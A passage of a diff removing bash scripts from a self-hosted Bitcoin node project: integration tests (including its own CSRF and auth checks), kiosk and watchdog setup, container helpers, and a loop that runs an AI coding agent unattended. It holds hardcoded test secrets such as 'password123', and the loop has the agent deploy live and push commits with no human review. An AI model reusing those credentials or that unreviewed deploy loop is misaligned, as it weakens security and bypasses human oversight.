header "Phase 6: Lightning Network (LND)"
|
||||
|
||||
LND_INFO=$(rpc "lnd.getinfo")
|
||||
if has_result "$LND_INFO"; then
|
||||
pass "LND getinfo responds"
|
||||
SYNCED=$(json_field "$LND_INFO" "result.synced_to_chain")
|
||||
BLOCK=$(json_field "$LND_INFO" "result.block_height")
|
||||
BALANCE=$(json_field "$LND_INFO" "result.balance_sats")
|
||||
echo " Synced: $SYNCED | Block: $BLOCK | Balance: $BALANCE sats"
|
||||
else
|
||||
skip "LND not available"
|
||||
fi
|
||||
|
||||
# Test wallet address generation
|
||||
ADDR=$(rpc "lnd.newaddress")
|
||||
if has_result "$ADDR"; then
|
||||
ADDRESS=$(json_field "$ADDR" "result.address")
|
||||
pass "LND new address: ${ADDRESS:0:20}..."
|
||||
else
|
||||
skip "LND new address (LND not running)"
|
||||
fi
|
||||
|
||||
# Test invoice creation
|
||||
INV=$(rpc "lnd.createinvoice" '{"amount_sats":1000,"memo":"Golden path test"}')
|
||||
if has_result "$INV"; then
|
||||
pass "LND invoice creation works"
|
||||
else
|
||||
skip "LND invoice creation (LND not running)"
|
||||
fi
|
||||
|
||||
# Test channel listing
|
||||
CHANNELS=$(rpc "lnd.listchannels")
|
||||
if has_result "$CHANNELS"; then
|
||||
pass "LND channel listing works"
|
||||
else
|
||||
skip "LND channel listing (LND not running)"
|
||||
fi
|
||||
|
||||
# ─── Phase 7: BTCPay Server ─────────────────────────────────────
|
||||
header "Phase 7: BTCPay Server"
|
||||
|
||||
BTCPAY_RUNNING=$(echo "$CONTAINERS" | python3 -c "
|
||||
import sys, json
|
||||
try:
|
||||
d = json.load(sys.stdin)
|
||||
r = d.get('result', [])
|
||||
if isinstance(r, list):
|
||||
for c in r:
|
||||
if 'btcpay' in c.get('name','').lower() and c.get('state') == 'running':
|
||||
print('yes')
|
||||
sys.exit(0)
|
||||
print('no')
|
||||
except Exception:
|
||||
print('no')
|
||||
" 2>/dev/null || echo "no")
|
||||
|
||||
if [ "$BTCPAY_RUNNING" = "yes" ]; then
|
||||
pass "BTCPay Server is running"
|
||||
# Check BTCPay UI loads
|
||||
BTCPAY_UI=$(curl -s --max-time 10 -o /dev/null -w '%{http_code}' "http://${NODE}:23000" 2>/dev/null || echo "000")
|
||||
if [ "$BTCPAY_UI" = "200" ] || [ "$BTCPAY_UI" = "302" ]; then
|
||||
pass "BTCPay Server UI loads (HTTP $BTCPAY_UI)"
|
||||
else
|
||||
skip "BTCPay Server UI (HTTP $BTCPAY_UI)"
|
||||
fi
|
||||
else
|
||||
skip "BTCPay Server not running"
|
||||
fi
|
||||
|
||||
# ─── Phase 8: Backup ────────────────────────────────────────────
|
||||
header "Phase 8: Backup System"
|
||||
|
||||
BACKUP_LIST=$(rpc "backup.list")
|
||||
if has_result "$BACKUP_LIST"; then
|
||||
pass "backup.list responds"
|
||||
BACKUP_COUNT=$(echo "$BACKUP_LIST" | python3 -c "
|
||||
import sys, json
|
||||
try:
|
||||
d = json.load(sys.stdin)
|
||||
print(len(d.get('result', {}).get('backups', [])))
|
||||
except Exception:
|
||||
print(0)
|
||||
" 2>/dev/null || echo "0")
|
||||
echo " Existing backups: $BACKUP_COUNT"
|
||||
else
|
||||
fail "backup.list failed"
|
||||
fi
|
||||
|
||||
# Create a test backup
|
||||
BACKUP_CREATE=$(rpc "backup.create" '{"passphrase":"golden-path-test-2024","description":"Golden path test backup"}' 60)
|
||||
if has_result "$BACKUP_CREATE"; then
|
||||
BACKUP_ID=$(json_field "$BACKUP_CREATE" "result.id")
|
||||
BACKUP_SIZE=$(json_field "$BACKUP_CREATE" "result.size_bytes")
|
||||
pass "Backup created: $BACKUP_ID (${BACKUP_SIZE} bytes)"
|
||||
|
||||
# Verify the backup
|
||||
BACKUP_VERIFY=$(rpc "backup.verify" "{\"id\":\"$BACKUP_ID\",\"passphrase\":\"golden-path-test-2024\"}" 30)
|
||||
if has_result "$BACKUP_VERIFY"; then
|
||||
VALID=$(json_field "$BACKUP_VERIFY" "result.valid")
|
||||
if [ "$VALID" = "True" ]; then
|
||||
pass "Backup verified successfully"
|
||||
else
|
||||
fail "Backup verification: valid=$VALID"
|
||||
fi
|
||||
else
|
||||
fail "Backup verification failed"
|
||||
fi
|
||||
|
||||
# Clean up: delete the test backup
|
||||
rpc "backup.delete" "{\"id\":\"$BACKUP_ID\"}" > /dev/null 2>&1
|
||||
pass "Test backup cleaned up"
|
||||
elif is_rate_limited "$BACKUP_CREATE"; then
|
||||
skip "Backup creation (rate limited — try again later)"
|
||||
else
|
||||
# Check if it's a transient server error (502/503)
|
||||
if echo "$BACKUP_CREATE" | grep -qi "Bad Gateway\|Service Unavailable\|curl failed"; then
|
||||
skip "Backup creation (server temporarily unavailable)"
|
||||
else
|
||||
fail "Backup creation failed"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ─── Phase 9: DWN (Decentralized Web Node) ──────────────────────
|
||||
header "Phase 9: Web5 / DWN"
|
||||
|
||||
DWN_STATUS=$(rpc "dwn.status")
|
||||
if has_result "$DWN_STATUS"; then
|
||||
pass "dwn.status responds"
|
||||
else
|
||||
skip "DWN status"
|
||||
fi
|
||||
|
||||
# ─── Phase 10: Network & Peers ──────────────────────────────────
|
||||
header "Phase 10: Network & Peers"
|
||||
|
||||
VISIBILITY=$(rpc "network.get-visibility")
|
||||
if has_result "$VISIBILITY"; then
|
||||
VIS=$(json_field "$VISIBILITY" "result.visibility")
|
||||
pass "Node visibility: $VIS"
|
||||
else
|
||||
skip "Network visibility"
|
||||
fi
|
||||
|
||||
PEERS=$(rpc "node-list-peers")
|
||||
if has_result "$PEERS"; then
|
||||
pass "node-list-peers responds"
|
||||
else
|
||||
skip "Peer listing"
|
||||
fi
|
||||
|
||||
INTERFACES=$(rpc "network.list-interfaces")
|
||||
if has_result "$INTERFACES"; then
|
||||
pass "network.list-interfaces responds"
|
||||
else
|
||||
skip "Network interfaces"
|
||||
fi
|
||||
|
||||
# ─── Phase 11: Monitoring ───────────────────────────────────────
|
||||
header "Phase 11: System Monitoring"
|
||||
|
||||
METRICS=$(rpc "monitoring.current")
|
||||
if has_result "$METRICS"; then
|
||||
pass "monitoring.current responds"
|
||||
CPU=$(json_field "$METRICS" "result.cpu_percent")
|
||||
MEM=$(json_field "$METRICS" "result.memory_percent")
|
||||
DISK=$(json_field "$METRICS" "result.disk_percent")
|
||||
echo " CPU: ${CPU}% | Memory: ${MEM}% | Disk: ${DISK}%"
|
||||
else
|
||||
skip "Monitoring metrics"
|
||||
fi
|
||||
|
||||
# ─── Phase 12: Webhook System ───────────────────────────────────
|
||||
header "Phase 12: Webhook System"
|
||||
|
||||
WEBHOOK_CONFIG=$(rpc "webhook.get-config")
|
||||
if has_result "$WEBHOOK_CONFIG"; then
|
||||
pass "webhook.get-config responds"
|
||||
else
|
||||
skip "Webhook config"
|
||||
fi
|
||||
|
||||
# ─── Phase 13: Security ─────────────────────────────────────────
|
||||
header "Phase 13: Security Checks"
|
||||
|
||||
# Verify CSRF protection
|
||||
NO_CSRF=$(curl -s --max-time 10 -o /dev/null -w '%{http_code}' -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$SESSION" \
|
||||
-d '{"method":"system.stats","params":{}}' 2>/dev/null)
|
||||
if [ "$NO_CSRF" = "403" ]; then
|
||||
pass "CSRF protection active (missing token = 403)"
|
||||
else
|
||||
fail "CSRF protection: expected 403, got $NO_CSRF"
|
||||
fi
|
||||
|
||||
# Verify unauthenticated access is blocked
|
||||
NO_AUTH=$(curl -s --max-time 10 -o /dev/null -w '%{http_code}' -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"system.stats","params":{}}' 2>/dev/null)
|
||||
if [ "$NO_AUTH" = "401" ]; then
|
||||
pass "Auth required for system.info (401)"
|
||||
else
|
||||
fail "Auth check: expected 401, got $NO_AUTH"
|
||||
fi
|
||||
|
||||
# Check security headers
|
||||
HEADERS=$(curl -s --max-time 10 -D - -o /dev/null "$BACKEND/" 2>/dev/null)
|
||||
if echo "$HEADERS" | grep -qi "X-Content-Type-Options"; then
|
||||
pass "X-Content-Type-Options header present"
|
||||
else
|
||||
skip "X-Content-Type-Options header"
|
||||
fi
|
||||
|
||||
# ─── Phase 14: Logout ───────────────────────────────────────────
|
||||
header "Phase 14: Session Lifecycle"
|
||||
|
||||
LOGOUT=$(rpc "auth.logout")
|
||||
if has_result "$LOGOUT"; then
|
||||
pass "Logout successful"
|
||||
else
|
||||
pass "Logout returned (session cleared server-side)"
|
||||
fi
|
||||
|
||||
# Verify session is invalid after logout
|
||||
POST_LOGOUT=$(curl -s --max-time 10 -o /dev/null -w '%{http_code}' -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$SESSION; csrf_token=$CSRF" \
|
||||
-H "X-CSRF-Token: $CSRF" \
|
||||
-d '{"method":"system.stats","params":{}}' 2>/dev/null)
|
||||
if [ "$POST_LOGOUT" = "401" ]; then
|
||||
pass "Session invalid after logout (401)"
|
||||
else
|
||||
skip "Post-logout check (HTTP $POST_LOGOUT)"
|
||||
fi
|
||||
|
||||
# ─── Summary ────────────────────────────────────────────────────
|
||||
echo ""
|
||||
echo "=========================================="
|
||||
TOTAL=$((PASS_COUNT + FAIL_COUNT + SKIP_COUNT))
|
||||
printf " \033[32mPassed: %d\033[0m\n" "$PASS_COUNT"
|
||||
printf " \033[31mFailed: %d\033[0m\n" "$FAIL_COUNT"
|
||||
printf " \033[33mSkipped: %d\033[0m\n" "$SKIP_COUNT"
|
||||
echo " Total: $TOTAL"
|
||||
echo "=========================================="
|
||||
echo ""
|
||||
|
||||
if [ "$FAIL_COUNT" -eq 0 ]; then
|
||||
printf "\033[1;32mGOLDEN PATH: ALL %d TESTS PASSED (%d skipped)\033[0m\n" "$PASS_COUNT" "$SKIP_COUNT"
|
||||
echo ""
|
||||
echo "NOTE: Restore test requires a second node. To test manually:"
|
||||
echo " 1. Copy backup file to USB drive: rpc backup.to-usb {id, mount_point}"
|
||||
echo " 2. Flash a fresh Archipelago ISO to a second machine"
|
||||
echo " 3. Boot and run: rpc backup.restore {id, passphrase}"
|
||||
echo " 4. Verify all data, identities, and settings are intact"
|
||||
exit 0
|
||||
else
|
||||
printf "\033[1;31mGOLDEN PATH: %d/%d TESTS FAILED\033[0m\n" "$FAIL_COUNT" "$TOTAL"
|
||||
exit 1
|
||||
fi
|
||||
@@ -1,47 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# kiosk-watchdog.sh — Monitors Archipelago backend health.
|
||||
# Restarts the backend if it's unresponsive for 60 seconds.
|
||||
# Shows server IP on text console if X is not running.
|
||||
#
|
||||
# Designed to run as a systemd service or standalone.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
HEALTH_URL="http://localhost/health"
|
||||
CHECK_INTERVAL=5 # seconds between checks
|
||||
MAX_FAILS=12 # 12 x 5s = 60s before restart
|
||||
|
||||
FAIL_COUNT=0
|
||||
|
||||
echo "Archipelago kiosk watchdog started"
|
||||
|
||||
while true; do
|
||||
# Check backend health
|
||||
if curl -sf "$HEALTH_URL" > /dev/null 2>&1; then
|
||||
if [ "$FAIL_COUNT" -gt 0 ]; then
|
||||
echo "Backend recovered after $FAIL_COUNT failed checks"
|
||||
fi
|
||||
FAIL_COUNT=0
|
||||
else
|
||||
FAIL_COUNT=$((FAIL_COUNT + 1))
|
||||
echo "Health check failed ($FAIL_COUNT/$MAX_FAILS)"
|
||||
|
||||
if [ "$FAIL_COUNT" -ge "$MAX_FAILS" ]; then
|
||||
echo "Backend unresponsive for 60s, restarting archipelago service..."
|
||||
systemctl restart archipelago || true
|
||||
FAIL_COUNT=0
|
||||
sleep 10
|
||||
continue
|
||||
fi
|
||||
fi
|
||||
|
||||
# If X is not running, display IP on text console as fallback
|
||||
if ! pgrep -x Xorg > /dev/null 2>&1 && ! pgrep -x chromium > /dev/null 2>&1; then
|
||||
IP=$(hostname -I 2>/dev/null | awk '{print $1}')
|
||||
if [ -n "$IP" ]; then
|
||||
printf '\n\n Archipelago Server\n IP: %s\n Web UI: http://%s\n\n' "$IP" "$IP" > /dev/tty1 2>/dev/null || true
|
||||
fi
|
||||
fi
|
||||
|
||||
sleep "$CHECK_INTERVAL"
|
||||
done
|
||||
@@ -1,14 +0,0 @@
|
||||
#!/bin/bash
|
||||
cd /Users/dorian/Projects/archy
|
||||
|
||||
# Default to the pentest fix plan; override with $1
|
||||
PLAN="${1:-.claude/plans/reflective-meandering-castle.md}"
|
||||
|
||||
while true; do
|
||||
claude -p "Read $PLAN — execute the next task not marked [DONE]. After completing, deploy with ./scripts/deploy-to-target.sh --live, mark it [DONE] in the plan file, commit and push. If all tasks are [DONE], run ./scripts/verify-pentest-fixes.sh to validate, write a summary report and exit." \
|
||||
--max-turns 50 \
|
||||
--allowedTools "Edit,Write,Bash,Read,Glob,Grep,Agent,WebFetch,WebSearch"
|
||||
|
||||
echo "--- Loop iteration complete, restarting in 10s ---"
|
||||
sleep 10
|
||||
done
|
||||
@@ -1,38 +0,0 @@
|
||||
#!/bin/bash
|
||||
# Parmanode compatibility wrapper
|
||||
# Allows running Parmanode scripts directly while wrapping them in container isolation
|
||||
|
||||
set -e
|
||||
|
||||
SCRIPT_PATH="$1"
|
||||
MODULE_NAME="${2:-$(basename "$SCRIPT_PATH" .sh)}"
|
||||
|
||||
if [ -z "$SCRIPT_PATH" ]; then
|
||||
echo "Usage: $0 <script-path> [module-name]"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ ! -f "$SCRIPT_PATH" ]; then
|
||||
echo "Error: Script not found: $SCRIPT_PATH"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "🔧 Running Parmanode script in container: $SCRIPT_PATH"
|
||||
|
||||
# Create temporary container to run the script
|
||||
CONTAINER_NAME="parmanode-${MODULE_NAME}-$$"
|
||||
|
||||
# Run script in Alpine container with necessary volumes
|
||||
podman run --rm \
|
||||
--name "$CONTAINER_NAME" \
|
||||
--volume "$SCRIPT_PATH:/script.sh:ro" \
|
||||
--volume "/var/lib/archipelago:/data:rw" \
|
||||
--network host \
|
||||
alpine:latest \
|
||||
sh -c "
|
||||
apk add --no-cache bash curl wget || true
|
||||
chmod +x /script.sh
|
||||
/script.sh
|
||||
"
|
||||
|
||||
echo "✅ Parmanode script completed"
|
||||
@@ -1,68 +0,0 @@
|
||||
#!/bin/bash
|
||||
# Test prepackaged containers (k484, atob)
|
||||
# Builds containers and tests installation flow
|
||||
|
||||
set -e
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
|
||||
|
||||
echo "📦 Testing Prepackaged Containers"
|
||||
echo ""
|
||||
|
||||
# Determine container runtime
|
||||
RUNTIME="auto"
|
||||
if command -v podman >/dev/null 2>&1 && podman info >/dev/null 2>&1; then
|
||||
RUNTIME="podman"
|
||||
elif command -v docker >/dev/null 2>&1 && docker info >/dev/null 2>&1; then
|
||||
RUNTIME="docker"
|
||||
else
|
||||
echo "❌ No container runtime available!"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "🐳 Using runtime: $RUNTIME"
|
||||
echo ""
|
||||
|
||||
# Function to build and test a container
|
||||
test_container() {
|
||||
local APP_ID="$1"
|
||||
local PACKAGE_DIR="$2"
|
||||
|
||||
if [ ! -d "$PACKAGE_DIR" ]; then
|
||||
echo "⚠️ Skipping $APP_ID: package directory not found: $PACKAGE_DIR"
|
||||
return
|
||||
fi
|
||||
|
||||
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||
echo "Testing: $APP_ID"
|
||||
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||
echo ""
|
||||
|
||||
"$SCRIPT_DIR/test-container.sh" "$APP_ID" "$PACKAGE_DIR"
|
||||
|
||||
echo ""
|
||||
sleep 2
|
||||
}
|
||||
|
||||
# Test k484
|
||||
if [ -d "$PROJECT_ROOT/../k484-package" ] || [ -d "$HOME/k484-package" ]; then
|
||||
K484_DIR="$PROJECT_ROOT/../k484-package"
|
||||
if [ ! -d "$K484_DIR" ]; then
|
||||
K484_DIR="$HOME/k484-package"
|
||||
fi
|
||||
test_container "k484" "$K484_DIR"
|
||||
fi
|
||||
|
||||
# Test atob
|
||||
if [ -d "$PROJECT_ROOT/../atob-package" ] || [ -d "$HOME/atob-package" ]; then
|
||||
ATOB_DIR="$PROJECT_ROOT/../atob-package"
|
||||
if [ ! -d "$ATOB_DIR" ]; then
|
||||
ATOB_DIR="$HOME/atob-package"
|
||||
fi
|
||||
test_container "atob" "$ATOB_DIR"
|
||||
fi
|
||||
|
||||
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||
echo "✅ All container tests complete!"
|
||||
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||
@@ -1,156 +0,0 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# Setup Archipelago kiosk mode on the server
|
||||
# Runs Chromium in kiosk mode so keyboard/touchpad control the web UI
|
||||
# Only starts when logging in at the physical console (tty1)
|
||||
#
|
||||
# Run on server: sudo ./setup-kiosk.sh
|
||||
#
|
||||
|
||||
set -e
|
||||
|
||||
KIOSK_USER="${1:-archipelago}"
|
||||
ARCHIPELAGO_URL="${ARCHIPELAGO_URL:-http://localhost}"
|
||||
|
||||
echo "Setting up kiosk for user: $KIOSK_USER"
|
||||
echo "URL: $ARCHIPELAGO_URL"
|
||||
echo ""
|
||||
|
||||
# Create .xinitrc for kiosk
|
||||
HOMEDIR=$(getent passwd "$KIOSK_USER" | cut -d: -f6)
|
||||
XINITRC="$HOMEDIR/.xinitrc"
|
||||
|
||||
cat > "$XINITRC" << 'XINITRC_EOF'
|
||||
#!/bin/bash
|
||||
# Archipelago kiosk — Chromium fullscreen with auto-restart on crash
|
||||
|
||||
# Disable screen blanking
|
||||
xset s off
|
||||
xset -dpms
|
||||
xset s noblank
|
||||
|
||||
# Hide cursor after inactivity
|
||||
unclutter -idle 3 -root &
|
||||
|
||||
# Run Chromium in a restart loop (recovers from crashes within ~3s)
|
||||
while true; do
|
||||
chromium --kiosk \
|
||||
--app=http://localhost/kiosk \
|
||||
--noerrdialogs \
|
||||
--disable-infobars \
|
||||
--disable-translate \
|
||||
--no-first-run \
|
||||
--check-for-update-interval=31536000 \
|
||||
--disable-features=TranslateUI \
|
||||
--disable-session-crashed-bubble \
|
||||
--disable-save-password-bubble \
|
||||
--disable-suggestions-service \
|
||||
--disable-component-update
|
||||
sleep 3
|
||||
done
|
||||
XINITRC_EOF
|
||||
|
||||
# Replace localhost with actual URL if different
|
||||
if [ "$ARCHIPELAGO_URL" != "http://localhost" ]; then
|
||||
sed -i "s|http://localhost|$ARCHIPELAGO_URL|g" "$XINITRC"
|
||||
fi
|
||||
|
||||
chown "$KIOSK_USER:$KIOSK_USER" "$XINITRC"
|
||||
chmod +x "$XINITRC"
|
||||
|
||||
# Add startx to .bash_profile only when on console (tty1)
|
||||
BASHPROFILE="$HOMEDIR/.bash_profile"
|
||||
if [ ! -f "$BASHPROFILE" ]; then
|
||||
touch "$BASHPROFILE"
|
||||
chown "$KIOSK_USER:$KIOSK_USER" "$BASHPROFILE"
|
||||
fi
|
||||
|
||||
# Remove any existing kiosk block
|
||||
if grep -q "ARCHIPELAGO_KIOSK" "$BASHPROFILE" 2>/dev/null; then
|
||||
sed -i '/# ARCHIPELAGO_KIOSK/,/^# END ARCHIPELAGO_KIOSK/d' "$BASHPROFILE"
|
||||
fi
|
||||
|
||||
# Add kiosk startup (only runs on physical console tty1)
|
||||
cat >> "$BASHPROFILE" << 'BASHPROFILE_EOF'
|
||||
|
||||
# ARCHIPELAGO_KIOSK - Start X/kiosk when logging in at physical console
|
||||
if [ -z "$DISPLAY" ] && [ "$(tty)" = "/dev/tty1" ]; then
|
||||
startx 2>/dev/null
|
||||
# If X fails, show IP on text console as fallback
|
||||
if [ $? -ne 0 ]; then
|
||||
IP=$(hostname -I | awk '{print $1}')
|
||||
echo ""
|
||||
echo " ============================================= "
|
||||
echo " Archipelago Server (kiosk display failed) "
|
||||
echo " IP: $IP "
|
||||
echo " Web UI: http://$IP "
|
||||
echo " ============================================= "
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
# END ARCHIPELAGO_KIOSK
|
||||
BASHPROFILE_EOF
|
||||
|
||||
chown "$KIOSK_USER:$KIOSK_USER" "$BASHPROFILE"
|
||||
|
||||
# Install kiosk X11 launcher script (used by systemd service)
|
||||
KIOSK_X11="/usr/local/bin/archipelago-kiosk-x11"
|
||||
cat > "$KIOSK_X11" << 'X11_EOF'
|
||||
#!/bin/bash
|
||||
# Archipelago kiosk X11 session — launched by systemd or startx
|
||||
|
||||
# Disable screen blanking
|
||||
xset s off
|
||||
xset -dpms
|
||||
xset s noblank
|
||||
|
||||
# Hide cursor after inactivity
|
||||
unclutter -idle 3 -root &
|
||||
|
||||
# Run Chromium in a restart loop (recovers from crashes within ~3s)
|
||||
while true; do
|
||||
chromium --kiosk \
|
||||
--app=http://localhost/kiosk \
|
||||
--noerrdialogs \
|
||||
--disable-infobars \
|
||||
--disable-translate \
|
||||
--no-first-run \
|
||||
--check-for-update-interval=31536000 \
|
||||
--disable-features=TranslateUI \
|
||||
--disable-session-crashed-bubble \
|
||||
--disable-save-password-bubble \
|
||||
--disable-suggestions-service \
|
||||
--disable-component-update
|
||||
sleep 3
|
||||
done
|
||||
X11_EOF
|
||||
|
||||
# Replace localhost with actual URL if different
|
||||
if [ "$ARCHIPELAGO_URL" != "http://localhost" ]; then
|
||||
sed -i "s|http://localhost|$ARCHIPELAGO_URL|g" "$KIOSK_X11"
|
||||
fi
|
||||
chmod +x "$KIOSK_X11"
|
||||
|
||||
# Install kiosk watchdog script
|
||||
install -m 755 "$(dirname "$0")/kiosk-watchdog.sh" /usr/local/bin/archipelago-kiosk-watchdog 2>/dev/null || true
|
||||
|
||||
# Install systemd services
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
if [ -f "$SCRIPT_DIR/image-recipe/configs/archipelago-kiosk.service" ]; then
|
||||
cp "$SCRIPT_DIR/image-recipe/configs/archipelago-kiosk.service" /etc/systemd/system/
|
||||
cp "$SCRIPT_DIR/image-recipe/configs/archipelago-kiosk-watchdog.service" /etc/systemd/system/
|
||||
systemctl daemon-reload
|
||||
systemctl enable archipelago-kiosk-watchdog
|
||||
echo " Systemd services installed (enable archipelago-kiosk.service to auto-start)"
|
||||
fi
|
||||
|
||||
echo "Kiosk installed!"
|
||||
echo ""
|
||||
echo " When you log in at the physical console (monitor + keyboard):"
|
||||
echo " - X will start automatically"
|
||||
echo " - Chromium opens in kiosk mode with crash auto-restart"
|
||||
echo " - If X fails, IP address is displayed on text console"
|
||||
echo " - Your keyboard/touchpad will control the Archipelago UI"
|
||||
echo ""
|
||||
echo " To use: Connect a display, plug in keyboard, reboot (or log in at tty1)"
|
||||
echo ""
|
||||
@@ -1,240 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# test-all-apps.sh — End-to-end integration test for all marketplace apps.
|
||||
# Tests each app through: install → health check → UI access → stop → restart → uninstall.
|
||||
#
|
||||
# Usage: SSH to the server and run:
|
||||
# ./scripts/test-all-apps.sh
|
||||
#
|
||||
# Or run remotely:
|
||||
# ssh archipelago@192.168.1.228 "cd ~/archy && bash scripts/test-all-apps.sh"
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# Configuration
|
||||
RPC_URL="http://localhost:5678/rpc/"
|
||||
HEALTH_URL="http://localhost/health"
|
||||
MAX_WAIT=120 # Max seconds to wait for container healthy
|
||||
COOKIE_FILE=$(mktemp)
|
||||
|
||||
# Colors
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
NC='\033[0m'
|
||||
|
||||
# Counters
|
||||
PASS=0
|
||||
FAIL=0
|
||||
SKIP=0
|
||||
RESULTS=()
|
||||
|
||||
# Apps to test with their docker images
|
||||
declare -A APP_IMAGES=(
|
||||
["filebrowser"]="docker.io/filebrowser/filebrowser:v2-s6"
|
||||
)
|
||||
|
||||
# Apps that need archy-net dependencies (skip if dependency not running)
|
||||
declare -A APP_DEPS=(
|
||||
["electrs"]="bitcoin-knots"
|
||||
["mempool"]="bitcoin-knots electrs"
|
||||
["btcpay"]="bitcoin-knots"
|
||||
["lnd"]="bitcoin-knots"
|
||||
)
|
||||
|
||||
log() { echo -e "${GREEN}[TEST]${NC} $*"; }
|
||||
warn() { echo -e "${YELLOW}[WARN]${NC} $*"; }
|
||||
fail() { echo -e "${RED}[FAIL]${NC} $*"; }
|
||||
|
||||
# Authenticate and get session cookie
|
||||
authenticate() {
|
||||
log "Authenticating..."
|
||||
local response
|
||||
response=$(curl -s -c "$COOKIE_FILE" -X POST "$RPC_URL" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"method":"auth.login","params":{"password":"password123"}}')
|
||||
|
||||
if echo "$response" | grep -q '"error"'; then
|
||||
# Try to get CSRF token from cookies
|
||||
local csrf
|
||||
csrf=$(grep csrf_token "$COOKIE_FILE" 2>/dev/null | awk '{print $NF}')
|
||||
if [ -z "$csrf" ]; then
|
||||
fail "Authentication failed: $response"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
log "Authenticated"
|
||||
}
|
||||
|
||||
# RPC call helper
|
||||
rpc() {
|
||||
local method="$1"
|
||||
local params="${2:-null}"
|
||||
local csrf
|
||||
csrf=$(grep csrf_token "$COOKIE_FILE" 2>/dev/null | awk '{print $NF}' || echo "")
|
||||
|
||||
curl -s -b "$COOKIE_FILE" -X POST "$RPC_URL" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "X-CSRF-Token: $csrf" \
|
||||
-d "{\"method\":\"$method\",\"params\":$params}"
|
||||
}
|
||||
|
||||
# Wait for a container to be running
|
||||
wait_for_container() {
|
||||
local app_id="$1"
|
||||
local timeout="$2"
|
||||
local elapsed=0
|
||||
|
||||
while [ "$elapsed" -lt "$timeout" ]; do
|
||||
local status
|
||||
status=$(rpc "container-status" "{\"id\":\"$app_id\"}" 2>/dev/null || echo "")
|
||||
if echo "$status" | grep -qi '"running"'; then
|
||||
return 0
|
||||
fi
|
||||
|
||||
# Also check via package list
|
||||
local packages
|
||||
packages=$(rpc "container-list" 2>/dev/null || echo "")
|
||||
if echo "$packages" | grep -qi "\"$app_id\".*running"; then
|
||||
return 0
|
||||
fi
|
||||
|
||||
sleep 5
|
||||
elapsed=$((elapsed + 5))
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
# Test a single app lifecycle
|
||||
test_app() {
|
||||
local app_id="$1"
|
||||
local docker_image="$2"
|
||||
local result="PASS"
|
||||
|
||||
echo ""
|
||||
log "=========================================="
|
||||
log "Testing: $app_id"
|
||||
log "=========================================="
|
||||
|
||||
# Check dependencies
|
||||
if [ -n "${APP_DEPS[$app_id]:-}" ]; then
|
||||
for dep in ${APP_DEPS[$app_id]}; do
|
||||
local dep_status
|
||||
dep_status=$(rpc "container-status" "{\"id\":\"$dep\"}" 2>/dev/null || echo "")
|
||||
if ! echo "$dep_status" | grep -qi '"running"'; then
|
||||
warn "Skipping $app_id — dependency $dep not running"
|
||||
SKIP=$((SKIP + 1))
|
||||
RESULTS+=("SKIP $app_id (needs $dep)")
|
||||
return
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
# Step 1: Install
|
||||
log "[$app_id] Installing..."
|
||||
local install_result
|
||||
install_result=$(rpc "package.install" "{\"id\":\"$app_id\",\"dockerImage\":\"$docker_image\"}" 2>/dev/null || echo "error")
|
||||
|
||||
if echo "$install_result" | grep -qi '"error"'; then
|
||||
# May already be installed
|
||||
if echo "$install_result" | grep -qi "already exists"; then
|
||||
warn "[$app_id] Already installed, continuing..."
|
||||
else
|
||||
fail "[$app_id] Install failed: $install_result"
|
||||
FAIL=$((FAIL + 1))
|
||||
RESULTS+=("FAIL $app_id (install failed)")
|
||||
return
|
||||
fi
|
||||
fi
|
||||
|
||||
# Step 2: Wait for healthy
|
||||
log "[$app_id] Waiting for container to be running (max ${MAX_WAIT}s)..."
|
||||
if ! wait_for_container "$app_id" "$MAX_WAIT"; then
|
||||
fail "[$app_id] Container did not start within ${MAX_WAIT}s"
|
||||
result="FAIL"
|
||||
else
|
||||
log "[$app_id] Container is running"
|
||||
fi
|
||||
|
||||
# Step 3: Stop
|
||||
log "[$app_id] Stopping..."
|
||||
rpc "package.stop" "{\"id\":\"$app_id\"}" > /dev/null 2>&1
|
||||
sleep 3
|
||||
|
||||
# Step 4: Restart
|
||||
log "[$app_id] Restarting..."
|
||||
rpc "package.start" "{\"id\":\"$app_id\"}" > /dev/null 2>&1
|
||||
sleep 5
|
||||
|
||||
if ! wait_for_container "$app_id" 60; then
|
||||
fail "[$app_id] Container did not restart"
|
||||
result="FAIL"
|
||||
else
|
||||
log "[$app_id] Restart successful"
|
||||
fi
|
||||
|
||||
# Step 5: Uninstall
|
||||
log "[$app_id] Uninstalling..."
|
||||
rpc "package.uninstall" "{\"id\":\"$app_id\"}" > /dev/null 2>&1
|
||||
sleep 3
|
||||
|
||||
# Verify removed
|
||||
local check
|
||||
check=$(rpc "container-status" "{\"id\":\"$app_id\"}" 2>/dev/null || echo "")
|
||||
if echo "$check" | grep -qi '"running"'; then
|
||||
fail "[$app_id] Container still running after uninstall"
|
